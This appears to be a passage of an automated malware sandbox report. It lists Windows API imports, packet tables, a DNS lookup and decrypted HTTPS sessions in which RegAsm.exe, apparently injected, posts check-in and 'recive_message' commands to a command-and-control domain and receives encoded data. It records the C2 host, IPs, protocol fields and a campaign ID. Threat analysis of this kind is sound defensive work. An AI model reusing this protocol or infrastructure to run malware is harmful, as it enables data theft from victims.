HeapAlloc, HeapFree, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, GetFileSizeEx, SetFilePointerEx, ReadConsoleW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, SetEndOfFile

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 23, 2024 18:48:55.472493887 CEST	49705	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:55.472523928 CEST	443	49705	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:55.472599983 CEST	49705	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:55.473892927 CEST	49705	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:55.473907948 CEST	443	49705	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:55.994275093 CEST	443	49705	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:55.994338989 CEST	49705	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:55.999203920 CEST	49705	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:55.999212980 CEST	443	49705	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:56.000118971 CEST	443	49705	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:56.052402973 CEST	49705	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:56.069652081 CEST	49705	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:56.069667101 CEST	49705	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:56.069765091 CEST	443	49705	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:56.462074995 CEST	443	49705	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:56.462181091 CEST	443	49705	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:56.462308884 CEST	49705	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:56.463648081 CEST	49705	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:56.463665962 CEST	443	49705	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:56.463713884 CEST	49705	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:56.463721037 CEST	443	49705	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:56.471035004 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:56.471054077 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:56.471127033 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:56.471430063 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:56.471446991 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:56.967505932 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:56.967664003 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:56.994180918 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:56.994195938 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:56.994533062 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:56.996470928 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:56.996504068 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:56.996630907 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.669300079 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.669344902 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.669428110 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.669440031 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.669531107 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.669558048 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.669572115 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.669579983 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.669737101 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.669822931 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.670036077 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.670099974 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.670105934 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.670245886 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.670315027 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.670320988 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.674386978 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.674484015 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.674489975 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.724282980 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.757682085 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.758400917 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.758433104 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.758454084 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.758469105 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.758523941 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.758528948 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.758599997 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.758734941 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.758758068 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.758769035 CEST	49706	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.758774996 CEST	443	49706	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.791977882 CEST	49709	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.792013884 CEST	443	49709	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:57.792093992 CEST	49709	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.792494059 CEST	49709	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:57.792505980 CEST	443	49709	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:58.251637936 CEST	443	49709	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:58.251708984 CEST	49709	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:58.252680063 CEST	49709	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:58.252686024 CEST	443	49709	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:58.252882957 CEST	443	49709	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:58.261334896 CEST	49709	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:58.261460066 CEST	49709	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:58.261480093 CEST	443	49709	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:58.668775082 CEST	443	49709	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:58.668854952 CEST	443	49709	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:58.669028044 CEST	49709	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:58.669186115 CEST	49709	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:58.694732904 CEST	49713	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:58.694787025 CEST	443	49713	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:58.694910049 CEST	49713	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:58.695216894 CEST	49713	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:58.695235968 CEST	443	49713	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:59.177886009 CEST	443	49713	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:59.177952051 CEST	49713	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:59.178991079 CEST	49713	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:59.179028988 CEST	443	49713	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:59.179260015 CEST	443	49713	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:59.180406094 CEST	49713	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:59.180552959 CEST	49713	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:59.180599928 CEST	443	49713	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:59.180677891 CEST	49713	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:59.180694103 CEST	443	49713	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:59.884301901 CEST	443	49713	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:59.884387970 CEST	443	49713	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:59.884435892 CEST	49713	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:59.884615898 CEST	49713	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:59.884639978 CEST	443	49713	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:59.964586973 CEST	49715	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:59.964663982 CEST	443	49715	104.21.90.18	192.168.2.5
Jun 23, 2024 18:48:59.964766979 CEST	49715	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:59.965065956 CEST	49715	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:48:59.965111017 CEST	443	49715	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:00.443603039 CEST	443	49715	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:00.443698883 CEST	49715	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:00.444713116 CEST	49715	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:00.444736004 CEST	443	49715	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:00.445053101 CEST	443	49715	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:00.452241898 CEST	49715	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:00.452369928 CEST	49715	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:00.452409983 CEST	443	49715	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:00.452496052 CEST	49715	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:00.452512980 CEST	443	49715	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:01.276782990 CEST	443	49715	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:01.276878119 CEST	443	49715	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:01.276967049 CEST	49715	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:01.277235985 CEST	49715	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:01.277276993 CEST	443	49715	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:01.362164974 CEST	49716	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:01.362245083 CEST	443	49716	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:01.362329006 CEST	49716	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:01.362612963 CEST	49716	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:01.362648964 CEST	443	49716	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:01.825382948 CEST	443	49716	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:01.825494051 CEST	49716	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:01.826786995 CEST	49716	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:01.826808929 CEST	443	49716	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:01.827055931 CEST	443	49716	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:01.828366041 CEST	49716	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:01.828497887 CEST	49716	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:01.828541040 CEST	443	49716	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:02.479348898 CEST	443	49716	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:02.479450941 CEST	443	49716	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:02.479511976 CEST	49716	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:02.479581118 CEST	49716	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:02.479603052 CEST	443	49716	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:02.494672060 CEST	49717	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:02.494767904 CEST	443	49717	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:02.494883060 CEST	49717	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:02.495122910 CEST	49717	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:02.495157957 CEST	443	49717	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:02.951198101 CEST	443	49717	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:02.951297045 CEST	49717	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:02.952586889 CEST	49717	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:02.952610970 CEST	443	49717	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:02.952853918 CEST	443	49717	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:02.954005957 CEST	49717	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:02.954113007 CEST	49717	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:02.954128981 CEST	443	49717	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:03.347866058 CEST	443	49717	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:03.347966909 CEST	443	49717	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:03.348059893 CEST	49717	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:03.348242998 CEST	49717	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:03.348288059 CEST	443	49717	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:03.804414988 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:03.804553032 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:03.804650068 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:03.805124998 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:03.805164099 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.270253897 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.270546913 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.271665096 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.271687031 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.271919966 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.273073912 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.273752928 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.273796082 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.273895979 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.273935080 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.274059057 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.274104118 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.274266005 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.274316072 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.274494886 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.274543047 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.274760962 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.274801016 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.274826050 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.274847031 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.274981022 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.275016069 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.275054932 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.275151014 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.275194883 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.283998966 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.284215927 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.284259081 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:04.284303904 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.284382105 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:04.285725117 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:06.533356905 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:06.533437967 CEST	443	49718	104.21.90.18	192.168.2.5
Jun 23, 2024 18:49:06.533504963 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:06.533606052 CEST	49718	443	192.168.2.5	104.21.90.18
Jun 23, 2024 18:49:06.533641100 CEST	443	49718	104.21.90.18	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 23, 2024 18:48:55.452292919 CEST	65355	53	192.168.2.5	1.1.1.1
Jun 23, 2024 18:48:55.467715025 CEST	53	65355	1.1.1.1	192.168.2.5
Jun 23, 2024 18:49:14.843425989 CEST	53	51241	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 23, 2024 18:48:55.452292919 CEST	192.168.2.5	1.1.1.1	0x58a7	Standard query (0)	backcreammykiel.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 23, 2024 18:48:55.467715025 CEST	1.1.1.1	192.168.2.5	0x58a7	No error (0)	backcreammykiel.shop		104.21.90.18	A (IP address)	IN (0x0001)	false
Jun 23, 2024 18:48:55.467715025 CEST	1.1.1.1	192.168.2.5	0x58a7	No error (0)	backcreammykiel.shop		172.67.151.5	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

backcreammykiel.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	104.21.90.18	443	5592	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 16:48:56 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: backcreammykiel.shop
2024-06-23 16:48:56 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-06-23 16:48:56 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 23 Jun 2024 16:48:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dfjr8vba9nkv02c1gtcpvoj3fn; expires=Thu, 17-Oct-2024 10:35:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o5tcM4tdOIANjI50uUgbXP%2Ffvs3TZ9gMaV8Du2EKEGgYNbrky0r5tz27x76AZxpQwjHzHtn02RhgFGSor93Qj%2FxbnOKEP%2BMrpABrUfS%2FlFzfTKOllu1%2FS3J8URcfYGiQGJItQpJatw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8985f7eecc3e6a5e-EWR alt-svc: h3=":443"; ma=86400
2024-06-23 16:48:56 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-06-23 16:48:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	104.21.90.18	443	5592	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-23 16:48:56 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 65 Host: backcreammykiel.shop
2024-06-23 16:48:56 UTC	65	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 40 6e 65 76 65 72 6d 6f 72 65 64 69 65 6c 7a 74 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--@nevermoredielzt&j=default
2024-06-23 16:48:57 UTC	806	IN	HTTP/1.1 200 OK Date: Sun, 23 Jun 2024 16:48:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=crvfilmujonl49936ilaojeih6; expires=Thu, 17-Oct-2024 10:35:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5AEyIZgokFg4Y84Lz3oioy3J9673qeNXhJXjxEznEbqOeYrkZFFuOLmN5WNglPQqQ3va9qVzbzRAYHyeL8hRxeDxbj4JkRAq0%2FvJ8SIOEveifWuDbBhTZBPCFQ6R4BT0YXIEl%2FNHtQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8985f7f49ca5c468-EWR alt-svc: h3=":443"; ma=86400
2024-06-23 16:48:57 UTC	563	IN	Data Raw: 35 30 65 30 0d 0a 55 31 72 44 7a 58 35 32 63 6e 44 4b 38 44 78 44 47 75 55 53 50 74 38 56 42 6b 67 73 55 47 6e 38 61 7a 31 45 72 71 4f 52 4d 71 73 6f 55 4d 72 76 43 46 52 49 55 50 37 63 4e 6b 6f 34 6c 6e 63 63 35 54 56 79 4f 6c 6b 31 52 66 5a 69 48 79 58 4b 67 61 73 53 7a 54 49 32 73 4b 68 53 66 48 74 53 72 34 67 65 65 54 71 2b 47 44 66 57 62 69 5a 71 53 54 35 4c 78 6b 73 66 49 63 54 42 38 46 37 4a 4d 6a 47 73 76 52 49 56 47 68 79 74 6d 46 6b 67 66 6f 52 2b 55 37 70 77 59 79 6c 47 50 67 43 52 41 31 42 6d 67 6f 4f 7a 56 39 46 78 59 4f 50 76 4d 78 4d 47 45 59 65 52 54 79 67 34 78 57 38 53 31 52 77 50 4d 77 78 79 44 4a 4a 4a 42 32 53 4d 77 76 52 51 78 7a 55 2b 71 4b 55 57 48 68 59 54 72 70 70 4d 4b 6e 79 4e 65 6c 79 37 66 47 6b 69 58 44 77 50 6c 67 56 65 4b Data Ascii: 50e0U1rDzX52cnDK8DxDGuUSPt8VBkgsUGn8az1ErqORMqsoUMrvCFRIUP7cNko4lncc5TVyOlk1RfZiHyXKgasSzTI2sKhSfHtSr4geeTq+GDfWbiZqST5LxksfIcTB8F7JMjGsvRIVGhytmFkgfoR+U7pwYylGPgCRA1BmgoOzV9FxYOPvMxMGEYeRTyg4xW8S1RwPMwxyDJJJB2SMwvRQxzU+qKUWHhYTrppMKnyNely7fGkiXDwPlgVeK
2024-06-23 16:48:57 UTC	1369	IN	Data Raw: 75 47 72 48 52 41 52 46 71 61 63 57 69 31 2b 69 58 31 54 75 33 31 6b 4c 55 51 36 41 35 38 45 56 43 6e 4d 78 50 35 55 7a 7a 30 35 70 4f 39 53 56 6c 41 56 73 4e 49 47 59 7a 69 70 64 31 2b 76 4e 56 45 70 51 44 77 4d 69 45 6b 64 4f 59 4b 70 6d 44 76 51 63 33 69 6d 6f 31 78 4d 55 6c 4b 6d 6c 31 45 7a 65 5a 56 31 55 71 39 37 59 53 78 44 4d 51 57 65 44 46 67 72 77 73 66 30 55 38 45 31 4f 61 2b 6a 46 68 63 55 45 65 6a 63 48 47 46 2f 6e 7a 41 45 2f 7a 64 56 4b 55 6f 31 47 5a 30 48 48 32 54 54 6a 35 73 37 6f 69 68 36 34 61 67 51 56 45 68 51 36 4a 68 59 4c 48 47 4d 64 31 53 78 5a 57 38 6c 54 54 73 4d 6d 41 4e 63 4c 73 62 48 2f 56 48 4f 4e 44 2b 7a 6f 52 63 5a 45 78 69 75 30 68 42 6a 4f 49 42 6f 48 4f 55 31 4a 41 52 4e 49 78 32 73 43 6b 34 33 6a 49 50 73 48 71 46 61 Data Ascii: uGrHRARFqacWi1+iX1Tu31kLUQ6A58EVCnMxP5Uzz05pO9SVlAVsNIGYzipd1+vNVEpQDwMiEkdOYKpmDvQc3imo1xMUlKml1EzeZV1Uq97YSxDMQWeDFgrwsf0U8E1Oa+jFhcUEejcHGF/nzAE/zdVKUo1GZ0HH2TTj5s7oih64agQVEhQ6JhYLHGMd1SxZW8lTTsMmANcLsbH/VHOND+zoRcZExiu0hBjOIBoHOU1JARNIx2sCk43jIPsHqFa
2024-06-23 16:48:57 UTC	1369	IN	Data Raw: 49 61 46 77 54 6f 30 45 46 76 45 4f 77 62 52 66 38 33 59 79 59 4f 61 6b 6e 65 42 56 59 6d 78 38 76 33 55 4d 34 38 50 61 4b 6f 48 78 6b 58 47 4b 61 56 57 69 31 78 69 6e 5a 63 75 6e 4e 68 4f 45 73 37 42 35 4a 4a 45 57 53 4d 78 75 73 51 6b 58 4e 34 6a 71 67 4b 46 7a 38 52 75 5a 73 65 59 32 66 4a 47 44 66 57 62 69 5a 71 53 54 35 4c 78 6b 73 66 49 63 6e 4a 2b 46 62 42 4d 53 71 6b 6f 52 63 56 47 68 53 70 6e 31 49 6e 65 49 5a 77 57 72 46 33 59 79 31 63 49 41 36 59 47 31 56 6d 67 6f 4f 7a 56 39 46 78 59 4f 50 76 4b 67 51 48 41 37 37 51 61 79 4a 32 69 58 64 4b 2f 54 56 37 5a 43 5a 5a 59 49 64 4c 48 79 48 41 67 61 73 53 69 54 6f 34 72 61 67 55 45 68 51 61 70 35 31 58 4d 33 6d 4c 66 6b 36 36 64 32 30 6b 51 54 34 43 6b 77 35 53 4c 63 62 4d 39 31 66 49 63 58 62 6a 37 Data Ascii: IaFwTo0EFvEOwbRf83YyYOakneBVYmx8v3UM48PaKoHxkXGKaVWi1xinZcunNhOEs7B5JJEWSMxusQkXN4jqgKFz8RuZseY2fJGDfWbiZqST5LxksfIcnJ+FbBMSqkoRcVGhSpn1IneIZwWrF3Yy1cIA6YG1VmgoOzV9FxYOPvKgQHA77QayJ2iXdK/TV7ZCZZYIdLHyHAgasSiTo4ragUEhQap51XM3mLfk66d20kQT4Ckw5SLcbM91fIcXbj7
